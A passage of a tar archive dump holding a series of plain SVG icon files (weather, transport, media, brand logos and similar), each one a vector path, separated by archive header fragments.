22.4-9l134-138.1c12.5-12 12.5-31.3 0-43.2-12.5-11.9-32.7-11.9-45.2 0l-79.4 83v-214c0-16.9-14.3-30.6-32-30.6-18 0-32 13.7-32 30.6v214l-79.4-83c-12.5-11.9-32.7-11.9-45.2 0s-12.5 31.2 0 43.2z"/></svg>collection/icon/svg/md-rainy.svg000064400000001347151701353760012704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M139 400s-23 25.3-23 40.7c0 12.8 10.3 23.3 23 23.3s23-10.5 23-23.3c0-15.4-23-40.7-23-40.7zM217 368s-23 25.3-23 40.7c0 12.8 10.4 23.3 23 23.3 12.7 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM295 400s-23 25.3-23 40.7c0 12.8 10.3 23.3 23 23.3 12.6 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM373 368s-23 25.3-23 40.7c0 12.8 10.4 23.3 23 23.3 12.7 0 23-10.5 23-23.3 0-15.4-23-40.7-23-40.7zM393.2 161.2C380.5 96.6 323.9 48 256 48c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 136 32 180.4 32 235.5 32 297.6 79.4 352 141.2 352h242.7c51.5 0 96.2-46 96.2-97.8-.1-49.4-38.4-89.6-86.9-93z"/></svg>collection/icon/svg/ios-funnel.svg000064400000000511151701353760013233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 87.2c0 5.8 2 11.4 5.6 15.7l152.2 179.8c3.6 4.3 5.6 9.9 5.6 15.7v107c0 10 5.9 18.8 14.6 22l55 19.8c9.6 3.5 19.6-4.3 19.6-15.3V298.3c0-5.8 2-11.4 5.6-15.7l152.2-179.8c3.6-4.3 5.6-9.9 5.6-15.7 0-12.8-9.6-23.2-21.4-23.2H69.4C57.6 64 48 74.4 48 87.2z"/></svg>collection/icon/svg/md-information-circle-outline.svg000064400000000642151701353760017020 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M277 360h-42V235h42v125zm0-166h-42v-42h42v42z"/></svg>collection/icon/svg/ios-body.svg000064400000001106151701353760012702 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><ellipse cx="256" cy="80" rx="48" ry="48"/><path d="M424 144H88c-13.3 0-24 10.7-24 24s10.7 24 24 24h98.5c5.6 1 13.2 3.8 17.2 14.2 4.7 12.1 2.4 33.6-.5 51.7l-3.8 21.4c0 .1 0 .2-.1.3l-30.4 172.2c-2.3 13 6.4 25.5 19.5 27.8 13.1 2.3 25.3-6.4 27.6-19.5l21-119.9v.2s6.2-32.5 18.5-32.5h1.1c12.5 0 18.5 32.5 18.5 32.5v-.1l21 119.9c2.3 13 14.7 21.7 27.7 19.4 13.1-2.3 21.7-14.8 19.4-27.8l-30.4-172.2c0-.1 0-.2-.1-.3l-3.8-21.4c-2.9-18.1-5.2-39.6-.5-51.7 4-10.4 11.6-13.2 17.2-14.2H424c13.3 0 24-10.7 24-24s-10.7-24-24-24z"/></svg>collection/icon/svg/ios-subway.svg000064400000001503151701353760013260 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 32H160c-35.2 0-64 28.8-64 64v232c0 35.2 28.8 64 64 64h192c35.2 0 64-28.8 64-64V96c0-35.2-28.8-64-64-64zM200 56h112c4.4 0 8 3.6 8 8s-3.6 8-8 8H200c-4.4 0-8-3.6-8-8s3.6-8 8-8zm-32 304c-15.5 0-28-12.5-28-28s12.5-28 28-28 28 12.5 28 28-12.5 28-28 28zm176 0c-15.5 0-28-12.5-28-28s12.5-28 28-28 28 12.5 28 28-12.5 28-28 28zm40-152c0 8.8-7.2 16-16 16H144.2c-8.8 0-16.2-7.2-16.2-16v-95.8c0-8.8 7.4-16.2 16.2-16.2H368c8.8 0 16 7.4 16 16.2V208zM393.7 455.9l-50-48c-5.6-5.4-14.4-5.2-19.8.4-5.4 5.6-5.2 14.4.4 19.8l6.1 5.9H181.5l6.1-5.9c5.6-5.4 5.8-14.2.4-19.8-5.4-5.6-14.2-5.8-19.8-.4l-50 48c-5.6 5.4-5.8 14.2-.4 19.8 2.7 2.9 6.4 4.3 10.1 4.3 3.5 0 7-1.3 9.7-3.9l14.7-14.1h207.2l14.7 14.1c2.7 2.6 6.2 3.9 9.7 3.9 3.7 0 7.4-1.4 10.1-4.3 5.5-5.6 5.3-14.4-.3-19.8z"/></svg>collection/icon/svg/ios-bus.svg000064400000001625151701353760012544 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M109.6 416.7c-1.9-1.9-5.7-.5-5.6 2.2 1 21.5 1.4 29 5.5 29h55.1c4.4 0 3.3-11.5 3.3-22-34.3.1-46.9 2.3-58.3-9.2zM402.4 416.7c1.9-1.9 5.7-.5 5.6 2.2-1 21.5-1.4 29-5.5 29h-55.1c-4.4 0-3.3-11.5-3.3-22 34.3.1 46.9 2.3 58.3-9.2zM384 64H128c-17.6 0-32 14.4-32 32v276c0 22 18 40 40 40h240c22 0 40-18 40-40V96c0-17.6-14.4-32-32-32zM162 375.9c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-1 11.7-10.4 21.1-22 22zm76-77.9h-97.8c-8.9 0-16.2-7.3-16.2-16.2V166.2c0-8.9 7.3-16.2 16.2-16.2H238c2.2 0 4 1.8 4 4v140c0 2.2-1.8 4-4 4zm115.9 77.9c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-.9 11.7-10.3 21.1-22 22zM388 282c0 8.8-7.2 16-16 16h-98c-2.2 0-4-1.8-4-4V154c0-2.2 1.8-4 4-4h98c8.8 0 16 7.2 16 16v116zm-15-162H139c-8.8 0-15-6.3-15-14s6.2-14 15-14h234c8.8 0 15 6.3 15 14s-6.2 14-15 14z"/></svg>collection/icon/svg/md-albums.svg000064400000000573151701353760013045 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M154.7 464h266.7c23.5 0 42.7-19.2 42.7-42.7V154.7c0-23.5-19.2-42.7-42.7-42.7H154.7c-23.5 0-42.7 19.2-42.7 42.7v266.7c0 23.4 19.2 42.6 42.7 42.6z"/><path d="M90.7 48h266.7c23.5 0 42.7 19.2 42.7 42.7V96H138.7C115.2 96 96 115.2 96 138.7V400h-5.3C67.2 400 48 380.8 48 357.3V90.7C48 67.2 67.2 48 90.7 48z"/></svg>collection/icon/svg/ios-radio-button-off.svg000064400000000520151701353760015123 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-tablet-landscape.svg000064400000000462151701353760014762 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 120v272c0 13.3 10.7 24 24 24h400c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H56c-13.3 0-24 10.7-24 24zm384 8v256H80V128h336zm46 128c0 7.7-6.5 14-14.1 14-7.5 0-14-6.2-14-14 0-7.7 6.4-14.1 14-14.1 7.6.1 14.1 6.4 14.1 14.1z"/></svg>collection/icon/svg/ios-images.svg000064400000002065151701353760013217 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M262.3 199.2c-1.6-2.8-5.6-3.2-7.7-.7l-91.9 122.2c-2.5 2.9-.6 7.4 3.2 7.7l161.1 14c3.8.3 6.4-3.8 4.5-7.1l-69.2-136.1zM367.2 264.1c-1.6-2.8-5.6-3.2-7.7-.7l-24.8 25.1a4.68 4.68 0 0 0-.5 5.4l25.4 49.5c.8 1.3 2.1 2.2 3.7 2.3l44.9 3.9c3.8.3 6.4-3.8 4.5-7.1l-45.5-78.4zM378.1 224.4c11.2-.1 20.9-8.3 23-19.2 2.8-14.8-8.6-28.3-23.7-28.1-11.2.1-20.9 8.3-23 19.2-2.8 14.8 8.6 28.3 23.7 28.1z"/><path d="M455.2 129.3l-65.8-5.7-6.1-67c-1.3-14.9-14.5-25.9-29.5-24.5L56.7 58.9c-14.9 1.3-25.9 14.5-24.6 29.4l26.8 296.5c1.3 14.9 14.5 25.9 29.5 24.5l15.7-1.4-1.5 16.7c-1.3 14.9 9.7 28 24.7 29.3l297.3 25.9c14.9 1.3 28.1-9.7 29.4-24.6l26-296.6c1.2-14.8-9.8-28-24.8-29.3zM87.6 300.7c-3.7.3-7-2.4-7.4-6.1l-18-200c-.3-3.7 2.4-7 6.1-7.3l279.2-25.1c3.7-.3 7 2.4 7.4 6.1l4.8 52.8L158 103.4c-14.9-1.3-28.1 9.7-29.4 24.6l-14.9 170.3-26.1 2.4zm362.2-135.6l-17.5 200c-.3 3.7-3.6 6.5-7.3 6.2l-18.6-1.6L145.7 347c-3.7-.3-6.5-3.6-6.2-7.3l3.8-43.9L157 139.7c.3-3.7 3.6-6.5 7.3-6.2l198 17.3 29.7 2.6 51.6 4.5c3.8.2 6.6 3.5 6.2 7.2z"/></svg>collection/icon/svg/md-medkit.svg000064400000000452151701353760013033 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 144v-39.6C352 82 334 64 311.6 64H200.4C178 64 160 82 160 104.4V144H48v263.6C48 430 66 448 88.4 448h335.2c22.4 0 40.4-18 40.4-40.4V144H352zm-152-40h112v40H200v-40zm136 224h-56v56h-48v-56h-56v-48h56v-56h48v56h56v48z"/></svg>collection/icon/svg/md-remove.svg000064400000000142151701353760013047 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 235h320v42H96z"/></svg>collection/icon/svg/ios-code.svg000064400000001222151701353760012656 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L332 142.7zM204 160.2c0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3z"/></svg>collection/icon/svg/md-fastforward.svg000064400000000214151701353760014074 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 256L262.4 110v292L480 256zM32 110v292l217.6-146L32 110z"/></svg>collection/icon/svg/ios-paper-plane.svg000064400000000661151701353760014156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M452.1 49L52.3 265.3c-6 3.3-5.6 12.1.6 14.9l68.2 25.7c4 1.5 7.2 4.5 9 8.4l53 109.1c1 4.8 9.9 6.1 10 1.2l-8.1-90.2c.5-6.7 3-13 7.3-18.2l207.3-203.1c1.2-1.2 2.9-1.6 4.5-1.3 3.4.8 4.8 4.9 2.6 7.6L228 338c-4 6-6 11-7 18l-10.7 77.9c.9 6.8 6.2 9.4 10.5 3.3l38.5-45.2c2.6-3.7 7.7-4.5 11.3-1.9l99.2 72.3c4.7 3.5 11.4.9 12.6-4.9L463.8 58c1.5-6.8-5.6-12.3-11.7-9z"/></svg>collection/icon/svg/logo-steam.svg000064400000001736151701353760013235 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M478.8 208.2c0 19.8-16.1 36-36 36-19.8 0-36-16.1-36-36 0-19.8 16.1-36 36-36 19.8 0 36 16.2 36 36zM442.6 139c-38.1 0-69 30.7-69.4 68.7l-43.2 62c-1.8-.2-3.6-.3-5.4-.3-9.7 0-18.7 2.7-26.4 7.3L102.4 198c-5.1-23.2-25.9-40.7-50.6-40.7C23.3 157.2 0 180.6 0 209.1s23.3 51.8 51.8 51.8c9.7 0 18.7-2.7 26.4-7.3L274 332.2c5.1 23.3 25.8 40.8 50.6 40.8 26.8 0 49-20.6 51.5-46.7l66.5-48.6c38.3 0 69.4-31 69.4-69.3S480.9 139 442.6 139zm0 22.9c25.7 0 46.5 20.9 46.5 46.5 0 25.7-20.9 46.4-46.5 46.4-25.7 0-46.5-20.8-46.5-46.4 0-25.7 20.8-46.5 46.5-46.5zm-390.8 9c14.6 0 27.3 8.2 33.7 20.2l-18.9-7.6v.1c-15.3-5.5-32.2 2-38.3 17.1-6.1 15.2.9 32.3 15.7 38.9v.1l16.1 6.4c-2.6.6-5.4.9-8.2.9-21.1 0-38.1-17-38.1-38.1-.1-20.9 16.9-38 38-38zm272.8 112.2c21.1 0 38.1 17 38.1 38.1s-17 38.1-38.1 38.1c-14.7 0-27.4-8.2-33.7-20.3 6.3 2.5 12.5 5 18.8 7.6 15.5 6.2 33.2-1.3 39.4-16.8 6.2-15.5-1.3-33.1-16.9-39.4l-15.9-6.4c2.8-.5 5.5-.9 8.3-.9z"/></svg>collection/icon/svg/ios-moon.svg000064400000000644151701353760012723 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M401.4 354.2c-2.9.1-5.8.2-8.7.2-47.9 0-93-18.9-126.8-53.4-33.9-34.4-52.5-80.1-52.5-128.8 0-27.7 6.1-54.5 17.5-78.7 3.1-6.6 9.3-16.6 13.6-23.4 1.9-2.9-.5-6.7-3.9-6.1-6 .9-15.2 2.9-27.7 6.8C135.1 95.5 80 168.7 80 255c0 106.6 85.1 193 190.1 193 58 0 110-26.4 144.9-68.1 6-7.2 11.5-13.8 16.4-21.8 1.8-3-.7-6.7-4.1-6.1-8.5 1.7-17.1 1.8-25.9 2.2z"/></svg>collection/icon/svg/md-color-palette.svg000064400000001361151701353760014330 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C150.401 64 64 150.401 64 256c0 105.604 86.401 192 192 192 18.136 0 32-13.864 32-32 0-8.531-3.198-16-8.531-21.333-5.333-5.334-8.531-12.803-8.531-21.334 0-18.135 13.864-32 32-32h38.396c58.667 0 106.667-48 106.667-106.666C448 140.802 361.604 64 256 64zM138.667 256c-18.136 0-32-13.864-32-32s13.864-32 32-32c18.135 0 32 13.864 32 32s-13.865 32-32 32zm64-85.333c-18.136 0-32-13.865-32-32 0-18.136 13.864-32 32-32 18.135 0 32 13.864 32 32 0 18.135-13.865 32-32 32zm106.666 0c-18.135 0-32-13.865-32-32 0-18.136 13.865-32 32-32 18.136 0 32 13.864 32 32 0 18.135-13.864 32-32 32zm64 85.333c-18.135 0-32-13.864-32-32s13.865-32 32-32c18.136 0 32 13.864 32 32s-13.864 32-32 32z"/></svg>collection/icon/svg/ios-folder-open.svg000064400000000611151701353760014157 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 119c0-13.3-9.4-23-22.8-23H230.9c-2.8 0-4.3-.6-6.1-2.4l-22.5-22.5-.2-.2c-4.9-4.6-8.9-6.9-17.3-6.9H88.7C74.9 64 64 74.3 64 87v73h384v-41zM64 188h-8.3c-12.8 0-25.3 5.1-23.5 24.3C34 231.5 55.7 423 55.7 423c2.7 17.8 11.7 25 25 25h352.5c12.7 0 21-7.8 23-25 0 0 22.2-184.9 23.6-205.5 1.4-20.5-8.9-29.5-23.6-29.5H64z"/></svg>collection/icon/svg/md-cog.svg000064400000002314151701353760012325 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 288v-64h-34.7c-2-12.1-5.2-23.8-9.3-35l30-17.3-32-55.4-30 17.3c-7.7-9.3-16.3-17.9-25.6-25.6l17.3-30-55.4-32L323 76c-11.2-4.2-22.9-7.3-35-9.3V32h-64v34.7c-12.1 2-23.8 5.2-35 9.3l-17.3-30-55.4 32 17.3 30c-9.3 7.7-17.9 16.3-25.6 25.6l-30-17.3-32 55.4L76 189c-4.2 11.2-7.3 22.9-9.3 35H32v64h34.7c2 12.1 5.2 23.8 9.3 35l-30 17.3 32 55.4 30-17.3c7.7 9.3 16.3 17.9 25.6 25.6l-17.3 30 55.4 32 17.3-30c11.2 4.2 22.9 7.3 35 9.3V480h64v-34.7c12.1-2 23.8-5.2 35-9.3l17.3 30 55.4-32-17.3-30c9.3-7.7 17.9-16.3 25.6-25.6l30 17.3 32-55.4-30-17.3c4.2-11.2 7.3-22.9 9.3-35H480zm-224-64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM141.2 343c-18.3-24.2-29.2-54.3-29.2-87 0-6.1.4-12.1 1.1-18l46.9 17.1v.9c0 17.8 4.9 34.5 13.3 48.8L141.2 343zm40.7-148L135 177.9c20.1-31.1 51.8-53.9 89-62.3v49.9c-16.6 5.9-31.1 16.2-42.1 29.5zM256 400c-23.7 0-46-5.7-65.8-15.9l32.1-38.2c10.5 3.9 21.8 6.1 33.7 6.1s23.2-2.2 33.7-6.1l32.1 38.2C302 394.3 279.7 400 256 400zm32-234.5v-49.9c37.2 8.4 68.9 31.2 89 62.3L330.1 195c-11-13.3-25.5-23.6-42.1-29.5zM370.8 343l-32.1-38.2c8.4-14.3 13.3-31 13.3-48.8v-.9l46.9-17.1c.7 5.9 1.1 11.9 1.1 18 0 32.7-10.9 62.8-29.2 87z"/></svg>collection/icon/svg/md-apps.svg000064400000000420151701353760012514 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 176h80V96H96v80zm120 240h80v-80h-80v80zm-120 0h80v-80H96v80zm0-120h80v-80H96v80zm120 0h80v-80h-80v80zM336 96v80h80V96h-80zm-120 80h80V96h-80v80zm120 120h80v-80h-80v80zm0 120h80v-80h-80v80z"/></svg>collection/icon/svg/md-star-outline.svg000064400000000765151701353760014213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458 210.409l-145.267-12.476L256 64l-56.743 133.934L54 210.409l110.192 95.524L131.161 448 256 372.686 380.83 448l-33.021-142.066L458 210.409zM272.531 345.286L256 335.312l-16.53 9.973-59.988 36.191 15.879-68.296 4.369-18.79-14.577-12.637-52.994-45.939 69.836-5.998 19.206-1.65 7.521-17.75 27.276-64.381 27.27 64.379 7.52 17.751 19.208 1.65 69.846 5.998-52.993 45.939-14.576 12.636 4.367 18.788 15.875 68.299-59.984-36.189z"/></svg>collection/icon/svg/md-warning.svg000064400000000224151701353760013220 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 464h448L256 48 32 464zm248-64h-48v-48h48v48zm0-80h-48v-96h48v96z"/></svg>collection/icon/svg/md-bowtie.svg000064400000000774151701353760013056 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M276 304h-40c-15.4 0-28-12.6-28-28v-40c0-15.4 12.6-28 28-28h40c15.4 0 28 12.6 28 28v40c0 15.4-12.6 28-28 28zM176 280v-48c0-18.2 8.7-34.4 22.2-44.6C192 160 96 96 64 96c-17.6 0-32 14.4-32 32v256c0 17.6 14.3 32 32 32 32 0 128-64 134.2-91.4-13.5-10.2-22.2-26.4-22.2-44.6zM448 96c-32 0-128 64-134.2 91.4 13.5 10.2 22.2 26.4 22.2 44.6v48c0 18.2-8.7 34.4-22.2 44.6C320 352 416 416 448 416c17.7 0 32-14.4 32-32V128c0-17.6-14.4-32-32-32z"/></svg>collection/icon/svg/md-jet.svg000064400000000513151701353760012336 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 32s-23.4-.7-59.3 27.1C404 72 244.9 186.8 244.9 186.8l-168.8-4.2L32 222l109.8 55.2-8.6 10.8-87.9.1-7.2 40.5 63.1 48.7-26.6 59.8 60-26.4 48.7 63.1 40.5-7.2.1-87.8 10.9-8.5L290.1 480l39.3-44.1-4.2-168.7S440.1 108.2 453 91.6C480.7 55.5 480 32 480 32z"/></svg>collection/icon/svg/md-female.svg000064400000000444151701353760013010 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M400 176c0-79.5-64.5-144-144-144S112 96.5 112 176c0 71.4 51.9 130.6 120 142v50h-72v48h72v64h48v-64h72v-48h-72v-50c68.1-11.4 120-70.6 120-142zm-240 0c0-52.9 43.1-96 96-96s96 43.1 96 96-43.1 96-96 96-96-43.1-96-96z"/></svg>collection/icon/svg/ios-trophy.svg000064400000001616151701353760013300 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450 100h-66V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v20H62c-7.7 0-14 6.3-14 14 0 41.3 7.8 66 22.6 90.4 13.6 22.4 32.9 36.2 56.3 40.3 2.8.5 5.1 2.3 6.2 4.9 6.2 15.4 20.2 34.8 51.1 52.2 20.2 11.4 36.9 18.3 51.7 21.6 3.6.8 6.2 4.1 6.2 7.8V412c0 4.4-3.6 8-8 8h-65.6c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h175.6c7.5 0 14-5.8 14.4-13.3.4-8-6-14.7-14-14.7h-66c-4.4 0-8-3.6-8-8v-80.7c0-3.7 2.6-7 6.2-7.8 14.7-3.3 31.5-10.3 51.7-21.6 30.9-17.4 44.9-36.8 51.1-52.2 1.1-2.6 3.4-4.5 6.2-4.9 23.4-4.1 42.7-17.9 56.3-40.3C456.2 180 464 155.3 464 114c0-7.7-6.3-14-14-14zM128 210.6c0 2.8-2.8 4.8-5.4 3.8-12.8-4.9-23.2-14.7-30.6-28.9-5.8-11-12.6-21.4-15.1-48.8-.4-4.7 3.3-8.7 8-8.7H120c4.4 0 8 3.6 8 8v74.6zm292-25.1c-7.4 14.2-17.8 24-30.6 28.9-2.6 1-5.4-1-5.4-3.8V136c0-4.4 3.6-8 8-8h35.1c4.7 0 8.4 4 8 8.7-2.5 27.4-9.4 37.8-15.1 48.8z"/></svg>collection/icon/svg/md-megaphone.svg000064400000000751151701353760013523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M382.1 143.4l-23.1 23c14.7 14.7 23.9 35.2 23.9 57.6s-9.2 42.9-23.9 57.6l23.1 23.1c20.6-20.6 33.4-49.2 33.4-80.6s-12.8-60.1-33.4-80.7z"/><path d="M428.2 99l-22.7 22.7c26.1 26.1 42.3 62.4 42.3 102.3 0 39.8-16.1 76.1-42.3 102.3l22.7 22.7c31.9-32.1 51.8-76.3 51.8-125s-19.8-92.9-51.8-125zM320 184.1V80h-32l-96 80H64l-32 16v112l32 16 80 128h48l-30-128h30l96 64h32V263.9c18.4-1.7 32-18.9 32-39.9s-13.6-38.2-32-39.9z"/></svg>collection/icon/svg/ios-chatboxes.svg000064400000000701151701353760013725 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M425.9 170.4H204.3c-21 0-38.1 17.1-38.1 38.1v154.3c0 21 17.1 38 38.1 38h126.8c2.8 0 5.6 1.2 7.6 3.2l63 58.1c3.5 3.4 9.3 2 9.3-2.9v-50.6c0-6 3.8-7.9 9.8-7.9h1c21 0 42.1-16.9 42.1-38V208.5c.1-21.1-17-38.1-38-38.1z"/><path d="M174.4 145.9h177.4V80.6c0-18-14.6-32.6-32.6-32.6H80.6C62.6 48 48 62.6 48 80.6v165.2c0 18 14.6 32.6 32.6 32.6h61.1v-99.9c.1-18 14.7-32.6 32.7-32.6z"/></svg>collection/icon/svg/md-cut.svg000064400000001361151701353760012351 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M203.1 158.3c5.2-11.2 8.1-23.5 8.1-36.7 0-49.5-40.1-89.6-89.6-89.6S32 72.1 32 121.6s40.1 89.6 89.6 89.6c13.2 0 25.5-2.9 36.7-8.1l52.9 52.9-52.9 52.9c-11.2-5.2-23.5-8.1-36.7-8.1-49.5 0-89.6 40.1-89.6 89.6S72.1 480 121.6 480s89.6-40.1 89.6-89.6c0-13.2-2.9-25.5-8.1-36.7l52.9-52.9 156.8 156.8H480v-22.4L203.1 158.3zm-81.5 8.1c-24.6 0-44.8-19.9-44.8-44.8S97 76.8 121.6 76.8s44.8 19.9 44.8 44.8-20.2 44.8-44.8 44.8zm0 268.8c-24.6 0-44.8-19.9-44.8-44.8s20.2-44.8 44.8-44.8 44.8 19.9 44.8 44.8-20.2 44.8-44.8 44.8zm134.4-168c-6.3 0-11.2-4.9-11.2-11.2 0-6.3 4.9-11.2 11.2-11.2 6.3 0 11.2 4.9 11.2 11.2 0 6.3-4.9 11.2-11.2 11.2zM412.8 54.4L278.4 188.8l44.8 44.8L480 76.8V54.4h-67.2z"/></svg>collection/icon/svg/ios-pizza.svg000064400000001576151701353760013115 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M446.6 109.8c-2.7-7.3-14.2-14-25-18.7-27-11.6-73.5-27.1-164.9-27.1-94 0-137.5 14.5-165 27.1-12.3 5.7-24.2 12.5-26.7 19.5-2.9 8 .8 15.3 4.1 21.8l1.5 3c3.1 6.4 12.9 12.8 22.8 13.8L251.3 445c1 1.9 3.1 3.1 5.3 3.1 2.2 0 4.3-1.2 5.3-3.1l157.6-295.1c5.6-.6 17.2-2.6 23.1-14.3 3.9-7.7 7.4-16.7 4-25.8zm-266 112.8c-1.2 3.5-2.9 6.6-5.1 9.5-1.8 2.3-5.3 2-6.7-.6-8.8-16.6-17.3-32.4-24.8-46.5-1.4-2.6.5-5.8 3.4-5.9h1c3.7 0 7.3.6 10.9 1.7 8.6 2.8 15.5 8.7 19.6 16.6 3.9 7.9 4.6 16.8 1.7 25.2zm116.6 97.5c-.8 1.4-2.3 2.3-3.9 2.1-17-1.8-30.2-15.8-30.2-32.8 0-18.2 15.2-33 33.9-33 9.9 0 19 4 25.3 11 1.1 1.2 1.3 3.1.5 4.5l-25.6 48.2zm35.2-176.8c-5.7 4.1-12.4 6.3-19.5 6.3-1.6 0-3.3-.1-4.9-.3-8.7-1.2-16.3-5.7-21.5-12.5-2-2.6-3.6-5.5-4.6-8.4-1-2.7 1.2-5.5 4-5.3 18.3 1 35.3 2.9 51.4 5.9 3.1.6 4.5 4.1 2.7 6.7-2 2.8-4.6 5.4-7.6 7.6z"/></svg>collection/icon/svg/logo-vk.svg000064400000002057151701353760012541 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M427 299.1c-8.6-8-15.7-12.8-18.5-20.5-1-2.7-1.3-4.3-1-7.6.4-6 5.5-13.8 39.6-58.9 14.2-18.8 32.7-41.5 32.7-58.5 0-11-4.5-13.7-20.8-13.7h-74c-6.5 0-10.9 8.9-13.6 16.4-2.8 7.5-8.2 19-21.4 43.8-13.8 26-32.3 48.8-40 52.4-2.2 1-3.6 1-5.5.8-1.2-.1-3.8-.8-6.2-3.7-2.3-2.8-5.9-7.7-4.5-53.9.8-25.8 3.7-43.8-1.7-54.8-1.1-2.2-3.5-4.5-4.8-5.5-7.7-5.5-29.4-7.5-48-7.5s-32.9 2.1-40 4.2c-7.1 2.1-15.1 6.9-18.9 12-2.5 3.3 4.3 1.6 10.9 4.6 4 1.8 9.3 4.6 11.2 9.3 8 20.8 9.7 37.3 5.3 66.7-1.1 7.2-2.3 18.5-6.6 25.5-2.4 3.9-7.9 3.6-9.5 3.1-16.1-4.9-28.6-26-41.2-50.7-13.1-25.8-19.8-43.9-23.4-51.3s-9.1-11.4-18.4-11.4H42.3c-5.2 0-9.9 4.3-9.9 9 0 11 18.6 43 29.8 66 20.2 41.4 46.7 81.4 82.4 120.2C182 376.3 233 384 249.3 384s29-.6 33.3-1.5c2-.4 4.1-1.3 5.7-2.5 7.1-5.5 5.8-16 6.3-24.2.5-8.4 1.4-19.5 7-26 5.2-6.1 11.1-7.8 18.6-4.1 7 3.5 12 9.4 17.2 15.1 10.1 10.9 19.3 23.2 31.3 32.2 5.5 4.1 11.5 6.7 17.9 8.7 8.5 2.6 16.5 2.7 25.3 2.3 9.7-.4 17-.3 29-.3s27.7.5 33.1-3.5c2.6-2 6-5 6-11.3 